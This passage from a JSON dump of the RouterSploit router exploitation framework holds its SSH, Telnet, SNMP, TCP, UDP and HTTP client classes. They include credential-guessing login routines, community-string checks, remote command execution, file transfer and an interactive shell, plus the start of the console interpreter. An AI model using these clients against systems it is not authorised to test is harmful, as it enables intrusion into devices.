{}\".format(url), verbose=self.verbosity)\n        except requests.RequestException as error:\n            print_error(error, verbose=self.verbosity)\n        except socket.error as err:\n            print_error(err, verbose=self.verbosity)\n        except KeyboardInterrupt:\n            print_error(\"Module has been stopped\", verbose=self.verbosity)\n\n        return None\n\n    def get_target_url(self, path: str = \"\") -> str:\n        \"\"\" Get target URL\n\n        :param str path: path to http server resource\n        :return str: full target url with correct schema\n        \"\"\"\n\n        if self.ssl:\n            url = \"https://\"\n        else:\n            url = \"http://\"\n\n        url += \"{}:{}{}\".format(self.target, self.port, path)\n\n        return url\n\n    def http_test_connect(self) -> bool:\n        \"\"\" Test connection to HTTP server\n\n        :return bool: True if test connection was successful, False otherwise\n        \"\"\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\"\n        )\n\n        if response:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/core/snmp/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/snmp/snmp_client.py",
    "content": "import asyncio\nfrom pysnmp.hlapi.v3arch.asyncio import *\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_success\nfrom routersploit.core.exploit.printer import print_error\n\n\nSNMP_TIMEOUT = 15.0\n\n\nclass SNMPCli:\n    \"\"\" SNMP Client provides methods to handle communication with SNMP server \"\"\"\n\n    def __init__(self, snmp_target: str, snmp_port: int, verbosity: bool = False) -> None:\n        \"\"\" SNMP client constructor\n\n        :param str snmp_target: target SNMP server ip address\n        :param port snmp_port: target SNMP server port\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.snmp_target = snmp_target\n        self.snmp_port = snmp_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.snmp_target, snmp_port)\n\n    def get(self, community_string: str, oid: str, version: int = 1, retries: int = 0) -> bytes:\n        \"\"\" Get OID from SNMP server\n\n        :param str community_string: SNMP server community string\n        :param str oid: SNMP server oid\n        :param int version: SNMP protocol version\n        :param int retries: number of retries\n        :return bytes: SNMP server response\n        \"\"\"\n\n        return asyncio.run(self.get_cmd(\n            community_string,\n            oid,\n            version,\n            retries\n        ))\n\n    async def get_cmd(self, community_string: str, oid: str, version: int, retries: int):\n        \"\"\" Retrieves OID from SNMP server\n\n        :param str community_string: SNMP server community string\n        :param str oid: SNMP server oid\n        :param int version: SNMP protocol version\n        :param int retries: number of retries\n        :return bytes: SNMP server response\n        \"\"\"\n\n        snmpEngine = SnmpEngine()\n\n        iterator = get_cmd(\n            snmpEngine,\n            CommunityData(community_string, mpModel=version),\n            await UdpTransportTarget.create((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries),\n            ContextData(),\n            ObjectType(ObjectIdentity(oid))\n        )\n\n        errorIndication, errorStatus, errorIndex, varBinds = await iterator\n        snmpEngine.close_dispatcher()\n\n        if errorIndication or errorStatus:\n            print_error(self.peer, \"SNMP invalid community string: '{}'\".format(community_string), verbose=self.verbosity)\n        else:\n            print_success(self.peer, \"SNMP valid community string found: '{}'\".format(community_string), verbose=self.verbosity)\n            return varBinds\n\n        return None\n\n\n# pylint: disable=no-member\nclass SNMPClient(Exploit):\n    \"\"\" SNMP Client exploit \"\"\"\n\n    target_protocol = Protocol.SNMP\n\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def snmp_create(self, target: str = None, port: int = None) -> SNMPCli:\n        \"\"\" Create SNMP client\n\n        :param str target: target SNMP server ip address\n        :param int port: target SNMP server port\n        :return SNMPCli: SNMP client object\n        \"\"\"\n\n        snmp_target = target if target else self.target\n        snmp_port = port if port else self.port\n\n        snmp_client = SNMPCli(snmp_target, snmp_port, verbosity=self.verbosity)\n        return snmp_client\n"
  },
  {
    "path": "routersploit/core/ssh/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/ssh/ssh_client.py",
    "content": "import socket\nimport paramiko\nimport os\nimport select\nimport sys\nimport threading\nimport io\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_success\nfrom routersploit.core.exploit.printer import print_error\nfrom routersploit.core.exploit.utils import random_text\n\n\nSSH_TIMEOUT = 8.0\n\n\nclass SSHCli:\n    \"\"\" SSH Client provides methods to handle communication with SSH server \"\"\"\n\n    def __init__(self, ssh_target: str, ssh_port: int, verbosity: bool = False) -> None:\n        \"\"\" SSH client constructor\n\n        :param str ssh_target: SSH target ip address\n        :param int ssh_port: SSH port number\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.ssh_target = ssh_target\n        self.ssh_port = ssh_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.ssh_target, self.ssh_port)\n\n        self.ssh_client = paramiko.SSHClient()\n        self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n    def login(self, username: str, password: str, retries: int = 1) -> bool:\n        \"\"\" Login to SSH server\n\n        :param str username: SSH account username\n        :param str password: SSH account password\n        :param int retries: number of login retries\n        :return bool: True if login was successful, False otherwise\n        \"\"\"\n\n        for _ in range(retries):\n            try:\n                self.ssh_client.connect(\n                    self.ssh_target,\n                    self.ssh_port,\n                    timeout=SSH_TIMEOUT,\n                    banner_timeout=SSH_TIMEOUT,\n                    username=username,\n                    password=password,\n                    look_for_keys=False,\n                    allow_agent=False,\n                )\n            except paramiko.AuthenticationException:\n                print_error(self.peer, \"SSH Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                self.ssh_client.close()\n                break\n            except Exception as err:\n                print_error(self.peer, \"SSH Error while authenticating\", err, verbose=self.verbosity)\n            else:\n                print_success(self.peer, \"SSH Authentication Successful - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                return True\n\n            self.ssh_client.close()\n\n        return False\n\n    def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool:\n        \"\"\" Login to SSH server with private key\n\n        :param str username: SSH account username\n        :param str priv_key: SSH account private key\n        :param int retries: number of login retries\n        :return bool: True if login was successful, False otherwise\n        \"\"\"\n\n        if \"DSA PRIVATE KEY\" in priv_key:\n            priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key))\n        elif \"RSA PRIVATE KEY\" in priv_key:\n            priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key))\n        else:\n            return False\n\n        for _ in range(retries):\n            try:\n                self.ssh_client.connect(\n                    self.ssh_target,\n                    self.ssh_port,\n                    timeout=SSH_TIMEOUT,\n                    banner_timeout=SSH_TIMEOUT,\n                    username=username,\n                    pkey=priv_key,\n                    look_for_keys=False,\n                    allow_agent=False,\n                )\n            except paramiko.AuthenticationException:\n                print_error(self.peer, \"SSH Authentication Failed - Username: '{}' auth with private key\".format(username), verbose=self.verbosity)\n            except Exception as err:\n                print_error(self.peer, \"SSH Error while authenticated by using private key\", err, verbose=self.verbosity)\n            else:\n                print_success(self.peer, \"SSH Authentication Successful - Username: '{}' with private key\".format(username), verbose=self.verbosity)\n                return True\n\n            self.ssh_client.close()\n\n        return False\n\n    def test_connect(self) -> bool:\n        \"\"\" Test connection to SSH server\n\n        :return bool: True if test connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.ssh_client.connect(\n                self.ssh_target,\n                self.ssh_port,\n                timeout=SSH_TIMEOUT,\n                username=\"root\",\n                password=random_text(12),\n                look_for_keys=False,\n                allow_agent=False,\n            )\n        except paramiko.AuthenticationException:\n            self.ssh_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while testing connection\", err, verbose=self.verbosity)\n\n        self.ssh_client.close()\n        return False\n\n    def execute(self, cmd: str) -> str:\n        \"\"\" Execute command on SSH server\n\n        :param str cmd: command to execute on SSH server\n        :return str: command output\n        \"\"\"\n\n        try:\n            ssh_stdin, ssh_stdout, ssh_stderr = self.ssh_client.exec_command(cmd)\n            return ssh_stdout.read()\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while executing command on the server\", err, verbose=self.verbosity)\n\n        return None\n\n    def get_file(self, remote_file: str, local_file: str) -> bool:\n        \"\"\" Get file from SSH server\n\n        :param str remote_file: remote file on SSH server\n        :param str local_file: local file that it should be saved to\n        :return bool: True if getting file was successful, False otherwise\n        \"\"\"\n\n        try:\n            sftp = self.ssh_client.open_sftp()\n            sftp.get(remote_file, local_file)\n\n            return True\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while retrieving file from the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def get_content(self, remote_file: str) -> str:\n        \"\"\" Get file content from SSH server\n\n        :param str remote_file: remote file on SSH server\n        :return str: file content from SSH server\n        \"\"\"\n\n        try:\n            fp_content = io.BytesIO()\n            sftp = self.ssh_client.open_sftp()\n            sftp.getfo(remote_file, fp_content)\n\n            return fp_content.getvalue()\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while retrieving file content from the server\", err, verbose=self.verbosity)\n\n        return None\n\n    def send_file(self, local_file: str, dest_file: str) -> bool:\n        \"\"\" Send file to SSH server\n\n        :param str local_file: local file that should be send to SSH server\n        :param str dest_file: destination file that content should be saved to\n        :return bool: True if sending file was successful, False otherwise\n        \"\"\"\n\n        try:\n            sftp = self.ssh_client.open_sftp()\n            sftp.put(local_file, dest_file)\n            return True\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while sending file to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def send_content(self, content: str, dest_file: str) -> bool:\n        \"\"\" Send file content to SSH server\n\n        :param str content: data that should be sent to SSH file\n        :param str dst_file: destination file that data should be saved to\n        :return bool: True if sending file content was successful, False otherwise\n        \"\"\"\n\n        try:\n            fp_content = io.BytesIO(content)\n            sftp = self.ssh_client.open_sftp()\n            sftp.putfo(fp_content, dest_file)\n            return True\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while sending content to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def interactive(self) -> None:\n        \"\"\" Start interactive mode with SSH server\n\n        :return None:\n        \"\"\"\n\n        chan = self.ssh_client.invoke_shell()\n        if os.name == \"posix\":\n            self._posix_shell(chan)\n        else:\n            self._windows_shell(chan)\n\n    def _posix_shell(self, chan: paramiko.channel.Channel) -> None:\n        \"\"\" Start posix shell with SSH server\n\n        :param paramiko.channel.Channel chan: channel for communicating with SSH server\n        :return None:\n        \"\"\"\n\n        import termios\n        import tty\n\n        oldtty = termios.tcgetattr(sys.stdin)\n        try:\n            tty.setraw(sys.stdin.fileno())\n            tty.setcbreak(sys.stdin.fileno())\n            chan.settimeout(0.0)\n\n            while True:\n                r, w, e = select.select([chan, sys.stdin], [], [])\n                if chan in r:\n                    try:\n                        x = str(chan.recv(1024), \"utf-8\")\n                        if len(x) == 0:\n                            break\n\n                        sys.stdout.write(x)\n                        sys.stdout.flush()\n                    except socket.timeout:\n                        pass\n\n                if sys.stdin in r:\n                    x = sys.stdin.read(1)\n                    if len(x) == 0:\n                        break\n                    chan.send(x)\n        finally:\n            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)\n            return\n\n    def _windows_shell(self, chan: paramiko.channel.Channel) -> None:\n        \"\"\" Start Windows shell with SSH server\n\n        :param paramiko.channel.Channel chan: channel for communicating with SSH server\n        :return None:\n        \"\"\"\n\n        def writeall(sock):\n            while True:\n                data = sock.recv(256)\n                if not data:\n                    sys.stdout.flush()\n                    return\n\n                sys.stdout.write(data)\n                sys.stdout.flush()\n\n        writer = threading.Thread(target=writeall, args=(chan,))\n        writer.start()\n\n        try:\n            while True:\n                d = sys.stdin.read(1)\n                if not d:\n                    break\n\n                chan.send(d)\n\n        except Exception as err:\n            print_error(\"Error\", err, verbose=self.verbosity)\n\n    def close(self) -> bool:\n        \"\"\" Close SSH connection\n\n        :return bool: True if closing connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.ssh_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"SSH Error while closing connection\", err, verbose=self.verbosity)\n\n        return False\n\n\n# pylint: disable=no-member\nclass SSHClient(Exploit):\n    \"\"\" SSH Client exploit \"\"\"\n\n    target_protocol = Protocol.SSH\n\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def ssh_create(self, target: str = None, port: int = None) -> SSHCli:\n        \"\"\" Create SSH client\n\n        :param str target: target SSH server ip address\n        :param int port: target SSH server port\n        :return SSHCli: SSH client object\n        \"\"\"\n\n        ssh_target = target if target else self.target\n        ssh_port = port if port else self.port\n\n        ssh_client = SSHCli(ssh_target, ssh_port, verbosity=self.verbosity)\n        return ssh_client\n"
  },
  {
    "path": "routersploit/core/tcp/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/tcp/tcp_client.py",
    "content": "import socket\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_status\nfrom routersploit.core.exploit.printer import print_error\nfrom routersploit.core.exploit.utils import is_ipv4\nfrom routersploit.core.exploit.utils import is_ipv6\n\n\nTCP_SOCKET_TIMEOUT = 8.0\n\n\nclass TCPCli:\n    \"\"\" TCP Client provides methods to handle communication with TCP server \"\"\"\n\n    def __init__(self, tcp_target: str, tcp_port: int, verbosity: bool = False) -> None:\n        \"\"\" TCP client constructor\n\n        :param str tcp_target: target TCP server ip address\n        :param int tcp_port: target TCP server port\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.tcp_target = tcp_target\n        self.tcp_port = tcp_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.tcp_target, self.tcp_port)\n\n        if is_ipv4(self.tcp_target):\n            self.tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        elif is_ipv6(self.tcp_target):\n            self.tcp_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n        else:\n            print_error(\"Target address is not valid IPv4 nor IPv6 address\", verbose=self.verbosity)\n            return None\n\n        self.tcp_client.settimeout(TCP_SOCKET_TIMEOUT)\n\n    def connect(self) -> bool:\n        \"\"\" Connect to TCP server\n\n        :return bool: True if connection was successful, False otherwise\n        \"\"\"\n        try:\n            self.tcp_client.connect((self.tcp_target, self.tcp_port))\n            print_status(self.peer, \"TCP Connection established\", verbose=self.verbosity)\n            return True\n\n        except Exception as err:\n            print_error(self.peer, \"TCP Error while connecting to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def send(self, data: bytes) -> bool:\n        \"\"\" Send data to TCP server\n\n        :param bytes data: data that should be sent to TCP server\n        :return bool: True if sending data was successful, False otherwise\n        \"\"\"\n        try:\n            self.tcp_client.send(data)\n            return True\n        except Exception as err:\n            print_error(self.peer, \"TCP Error while sending data\", err, verbose=self.verbosity)\n\n        return False\n\n    def recv(self, num: int) -> bytes:\n        \"\"\" Receive data from TCP server\n\n        :param int num: number of bytes that should be received from the server\n        :return bytes: data that was received from the server\n        \"\"\"\n\n        try:\n            response = self.tcp_client.recv(num)\n            return response\n        except Exception as err:\n            print_error(self.peer, \"TCP Error while receiving data\", err, verbose=self.verbosity)\n\n        return None\n\n    def recv_all(self, num: int) -> bytes:\n        \"\"\" Receive all data sent by the server\n\n        :param int num: number of total bytes that should be received\n        :return bytes: data that was received from the server\n        \"\"\"\n\n        try:\n            response = b\"\"\n            received = 0\n            while received < num:\n                tmp = self.tcp_client.recv(num - received)\n\n                if tmp:\n                    received += len(tmp)\n                    response += tmp\n                else:\n                    break\n\n            return response\n        except Exception as err:\n            print_error(self.peer, \"TCP Error while receiving all data\", err, verbose=self.verbosity)\n\n        return None\n\n    def close(self) -> bool:\n        \"\"\" Close connection to TCP server\n\n        :return bool: True if closing connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.tcp_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"TCP Error while closing tcp socket\", err, verbose=self.verbosity)\n\n        return False\n\n\n# pylint: disable=no-member\nclass TCPClient(Exploit):\n    \"\"\" TCP Client exploit \"\"\"\n\n    target_protocol = Protocol.TCP\n\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def tcp_create(self, target: str = None, port: int = None) -> TCPCli:\n        \"\"\" Creates TCP client\n\n        :param str target: target TCP server ip address\n        :param int port: target TCP server port\n        :return TCPCli: TCP client object\n        \"\"\"\n\n        tcp_target = target if target else self.target\n        tcp_port = port if port else self.port\n\n        tcp_client = TCPCli(tcp_target, tcp_port, verbosity=self.verbosity)\n        return tcp_client\n"
  },
  {
    "path": "routersploit/core/telnet/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/telnet/telnet_client.py",
    "content": "try:\n    import telnetlib\nexcept ImportError:\n    import telnetlib3 as telnetlib\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_success\nfrom routersploit.core.exploit.printer import print_error\n\n\nTELNET_TIMEOUT = 30.0\n\n\nclass TelnetCli:\n    \"\"\" Telnet Client provides methods to handle communication with Telnet server \"\"\"\n\n    def __init__(self, telnet_target: str, telnet_port: int, verbosity: bool = False) -> None:\n        \"\"\" Telnet client constructor\n\n        :param str telnet_target: target Telnet server ip address\n        :param int telnet_port: target Telnet server port\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.telnet_target = telnet_target\n        self.telnet_port = telnet_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.telnet_target, self.telnet_port)\n\n        self.telnet_client = None\n\n    def connect(self) -> bool:\n        \"\"\" Connect to Telnet server\n\n        :return bool: True if connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT)\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Telnet Error while connecting to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def login(self, username: str, password: str, retries: int = 1) -> bool:\n        \"\"\" Login to Telnet server\n\n        :param str username: Telnet account username\n        :param str password: Telnet account password\n        :param int retries: number of authentication retries\n        :return bool: True if login was successful, False otherwise\n        \"\"\"\n\n        for _ in range(retries):\n            try:\n                if not self.connect():\n                    continue\n\n                self.telnet_client.expect([b\"Login: \", b\"login: \", b\"Username: \", b\"username: \"], 5)\n                self.telnet_client.write(bytes(username, \"utf-8\") + b\"\\r\\n\")\n                self.telnet_client.expect([b\"Password: \", b\"password: \"], 5)\n                self.telnet_client.write(bytes(password, \"utf-8\") + b\"\\r\\n\")\n                self.telnet_client.write(b\"\\r\\n\")\n\n                (i, obj, res) = self.telnet_client.expect([b\"Incorrect\", b\"incorrect\"], 5)\n\n                if i == -1 and any([x in res for x in [b\"#\", b\"$\", b\">\"]]) or len(res) > 500:  # big banner e.g. mikrotik\n                    print_success(self.peer, \"Telnet Authentication Successful - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                    return True\n                else:\n                    print_error(self.peer, \"Telnet Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                    break\n            except Exception as err:\n                print_error(self.peer, \"Telnet Error while authenticating to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def test_connect(self) -> bool:\n        \"\"\" Test connection to Telnet server\n\n        :return bool: True if test connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT)\n            self.telnet_client.expect([b\"Login: \", b\"login: \", b\"Username: \", b\"username: \"], 5)\n            self.telnet_client.close()\n\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Telnet Error while testing connection to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def interactive(self) -> None:\n        \"\"\" Start interactive mode with Telnet server\n\n        :return None:\n        \"\"\"\n\n        self.telnet_client.interact()\n\n    def read_until(self, data: bytes) -> bytes:\n        \"\"\" Read until specified data found in response\n\n        :param bytes data: bytes until which data should be read\n        :return bytes: bytes read until data\n        \"\"\"\n\n        try:\n            response = self.telnet_client.read_until(data, 5)\n            return response\n        except Exception as err:\n            print_error(self.peer, \"Telnet Error while reading data from the server\", err, verbose=self.verbosity)\n\n        return None\n\n    def write(self, data: bytes) -> bool:\n        \"\"\" Write data to Telnet server\n\n        :param bytes data: data that should be written to Telnet server\n        :return bool: True if data was written successfuly, False otherwise\n        \"\"\"\n\n        try:\n            self.telnet_client.write(data, 5)\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Telnet Error while writing to the server\", err, verbose=self.verbosity)\n\n        return False\n\n    def close(self) -> bool:\n        \"\"\" Close connection to Telnet server\n\n        :return bool: True if closing connection was successful, False otherwise\n        \"\"\"\n\n        try:\n            self.telnet_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Telnet Error while closing connection\", err, verbose=self.verbosity)\n\n        return False\n\n\n# pylint: disable=no-member\nclass TelnetClient(Exploit):\n    \"\"\" Telnet Client exploit \"\"\"\n\n    target_protocol = Protocol.TELNET\n\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def telnet_create(self, target: str = None, port: int = None) -> TelnetCli:\n        \"\"\" Create Telnet client\n\n        :param str target: target Telnet ip address\n        :param int port: target Telnet port\n        :return TelnetCli: Telnet client object\n        \"\"\"\n\n        telnet_target = target if target else self.target\n        telnet_port = port if port else self.port\n\n        telnet_client = TelnetCli(telnet_target, telnet_port, verbosity=self.verbosity)\n        return telnet_client\n"
  },
  {
    "path": "routersploit/core/udp/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/udp/udp_client.py",
    "content": "import socket\n\nfrom routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.exploit.option import OptBool\nfrom routersploit.core.exploit.printer import print_error\nfrom routersploit.core.exploit.utils import is_ipv4\nfrom routersploit.core.exploit.utils import is_ipv6\n\n\nUDP_SOCKET_TIMEOUT = 8.0\n\n\nclass UDPCli:\n    \"\"\" UDP Client provides methods to handle communication with UDP server \"\"\"\n\n    def __init__(self, udp_target: str, udp_port: int, verbosity: bool = False) -> None:\n        \"\"\" UDP client constructor\n\n        :param str udp_target: target UDP server ip address\n        :param int udp_port: target UDP server port\n        :param bool verbosity: display verbose output\n        :return None:\n        \"\"\"\n\n        self.udp_target = udp_target\n        self.udp_port = udp_port\n        self.verbosity = verbosity\n\n        self.peer = \"{}:{}\".format(self.udp_target, self.udp_port)\n\n        if is_ipv4(self.udp_target):\n            self.udp_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        elif is_ipv6(self.udp_target):\n            self.udp_client = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\n        else:\n            print_error(\"Target address is not valid IPv4 nor IPv6 address\", verbose=self.verbosity)\n            return None\n\n        self.udp_client.settimeout(UDP_SOCKET_TIMEOUT)\n\n    def send(self, data: bytes) -> bool:\n        \"\"\" Send UDP data\n\n        :param bytes data: data that should be sent to the server\n        :return bool: True if data was sent, False otherwise\n        \"\"\"\n\n        try:\n            self.udp_client.sendto(data, (self.udp_target, self.udp_port))\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Error while sending data\", err, verbose=self.verbosity)\n\n        return False\n\n    def recv(self, num: int) -> bytes:\n        \"\"\" Receive UDP data\n\n        :param int num: number of bytes that should received from the server\n        :return bytes: bytes received from the server\n        \"\"\"\n\n        try:\n            response = self.udp_client.recv(num)\n            return response\n        except Exception as err:\n            print_error(self.peer, \"Error while receiving data\", err, verbose=self.verbosity)\n\n        return None\n\n    def close(self) -> bool:\n        \"\"\" Close UDP connection\n\n        :return bool: True if connection was closed successful, False otherwise\n        \"\"\"\n\n        try:\n            self.udp_client.close()\n            return True\n        except Exception as err:\n            print_error(self.peer, \"Error while closing udp socket\", err, verbose=self.verbosity)\n\n        return False\n\n\n# pylint: disable=no-member\nclass UDPClient(Exploit):\n    \"\"\" UDP Client exploit \"\"\"\n\n    target_protocol = Protocol.UDP\n\n    verbosity = OptBool(True, \"Enable verbose output: true/false\")\n\n    def udp_create(self, target: str = None, port: int = None) -> UDPCli:\n        \"\"\" Create UDP client\n\n        :param str target: target UDP server ip address\n        :param int port: target UDP server port\n        :return UDPCli: UDP client object\n        \"\"\"\n\n        udp_target = target if target else self.target\n        udp_port = port if port else self.port\n\n        udp_client = UDPCli(udp_target, udp_port, verbosity=self.verbosity)\n        return udp_client\n"
  },
  {
    "path": "routersploit/interpreter.py",
    "content": "import atexit\nimport itertools\nimport pkgutil\nimport os\nimport sys\nimport getopt\nimport signal\nimport traceback\nimport threading, ctypes\nfrom collections import Counter\n\nfrom routersploit.core.exploit.exceptions import RoutersploitException\nfrom routersploit.core.exploit.utils import (\n    index_modules,\n    pythonize_path,\n    humanize_path,\n    import_exploit,\n    stop_after,\n    module_required,\n    MODULES_DIR,\n    WORDLISTS_DIR,\n)\nfrom routersploit.core.exploit.printer import (\n    print_info,\n    print_success,\n    print_error,\n    print_status,\n    print_table,\n    pprint_dict_in_order,\n    PrinterThread,\n    printer_queue\n)\nfrom routersploit.core.exploit.exploit import GLOBAL_OPTS\nfrom routersploit.core.exploit.payloads import BasePayload\n\nimport readline\n\n\ndef is_libedit():\n    return isinstance(readline.__doc__, str) and \"libedit\" in readline.__doc__\n\n\nclass BaseInterpreter:\n    history_file = os.path.expanduser(\"~/.history\")\n    history_length = 100\n    global_help = \"\"\n\n    def __init__(self):\n        self.setup()\n        self.banner = \"\"\n\n    def setup(self):\n        \"\"\" Initialization of third-party libraries\n\n        Setting interpreter history.\n        Setting appropriate completer function.\n\n        :return:\n        \"\"\"\n        if not os.path.exists(self.history_file):\n            with open(self.history_file, \"a+\") as history:\n                if is_libedit():\n                    history.write(\"_HiStOrY_V2_\\n\\n\")\n\n        readline.read_history_file(self.history_file)\n        readline.set_history_length(self.history_length)\n        atexit.register(readline.write_history_file, self.history_file)\n\n        readline.parse_and_bind(\"set enable-keypad on\")\n\n        readline.set_completer(self.complete)\n        readline.set_completer_delims(\" \\t\\n;\")\n        if is_libedit():\n            readline.parse_and_bind(\"bind ^I rl_complete\")\n        else:\n            readline.parse_and_bind(\"tab: complete\")\n\n    def parse_line(self, line):\n        \"\"\" Split line into command and argument.\n\n        :param line: line to parse\n        :return: (command, argument, named_arguments)\n        \"\"\"\n        kwargs = dict()\n        command, _, arg = line.strip().partition(\" \")\n        args = arg.strip().split()\n        for word in args:\n            if '=' in word:\n                (key, value) = word.split('=', 1)\n                kwargs[key.lower()] = value\n                arg = arg.replace(word, '')\n        return command, ' '.join(arg.split()), kwargs\n\n    @property\n    def prompt(self):\n        \"\"\" Returns prompt string \"\"\"\n        return \">>>\"\n\n    def get_command_handler(self, command):\n        \"\"\" Parsing command and returning appropriate handler.\n\n        :param command: command\n        :return: command_handler\n        \"\"\"\n        try:\n            command_handler = getattr(self, \"command_{}\".format(command))\n        except AttributeError:\n            raise RoutersploitException(\"Unknown command: '{}'\".format(command))\n\n        return command_handler\n\n    def start(self):\n        \"\"\" Routersploit main entry point. Starting interpreter loop. \"\"\"\n        \n        if not sys.stdin.isatty():\n            print_info(\"stdin is not a TTY. Ensure `stdin_open` and `tty` are set\")\n            sys.exit(1)\n        \n        print_info(self.banner)\n        printer_queue.join()\n        \n        while True:\n            try:\n                command, args, kwargs = self.parse_line(input(self.prompt))\n                if not command:\n                    continue\n                command_handler = self.get_command_handler(command)\n                command_handler(args, **kwargs)\n            except RoutersploitException as err:\n                print_error(err)\n            except (EOFError, SystemExit):\n                print_info()\n                print_error(\"RouterSploit stopped\")\n                os._exit(0)\n            except KeyboardInterrupt:\n                print_info()\n                print_error(\"Use Ctrl+D to exit\")\n            finally:\n                printer_queue.join()\n\n    def complete(self, text, state):\n        \"\"\"Return the next possible completion for 'text'.\n\n        If a command has not been entered, then complete against command list.\n        Otherwise try to call complete_<command> to get list of completions.\n        \"\"\"\n        if state == 0:\n            original_line = readline.get_line_buffer()\n            line = original_line.lstrip()\n            stripped = len(original_line) - len(line)\n            start_index = readline.get_begidx() - stripped\n            end_index = readline.get_endidx() - stripped\n\n            if start_index > 0:\n                cmd, args, _ = self.parse_line(line)\n                if cmd == \"\":\n                    complete_function = self.default_completer\n                else:\n                    try:\n                        complete_function = getattr(self, \"complete_\" + cmd)\n                    except AttributeError:\n                        complete_function = self.default_completer\n            else:\n                complete_function = self.raw_command_completer\n\n            self.completion_matches = complete_function(text, line, start_index, end_index)\n\n        try:\n            return self.completion_matches[state]\n        except IndexError:\n            return None\n\n    def commands(self, *ignored):\n        \"\"\" Returns full list of interpreter commands.\n\n        :param ignored:\n        :return: full list of interpreter commands\n        \"\"\"\n        return [command.rsplit(\"_\").pop() for command in dir(self) if command.startswith(\"command_\")]\n\n    def raw_command_completer(self, text, line, start_index, end_index):\n        \"\"\" Complete command w/o any argument \"\"\"\n        return [command for command in self.suggested_commands() if command.startswith(text)]\n\n    def default_completer(self, *ignored):\n        return []\n\n    def suggested_commands(self):\n        \"\"\" Entry point for intelligent tab completion.\n\n        Overwrite this method to suggest suitable commands.\n\n        :return: list of suitable commands\n        \"\"\"\n        return self.commands()\n\n\nclass RoutersploitInterpreter(BaseInterpreter):\n    history_file = os.path.expanduser(\"~/.rsf_history\")\n    global_help = \"\"\"Global commands:\n    help                        Print this help menu\n    use <module>                Select a module for usage\n    exec <shell command> <args> Execute a command in a shell\n    search <search term>        Search for appropriate module\n    exit                        Exit RouterSploit\"\"\"\n\n    module_help = \"\"\"Module commands:\n    run                                 Run the selected module with the given options\n    back                                De-select the current module\n    set <option 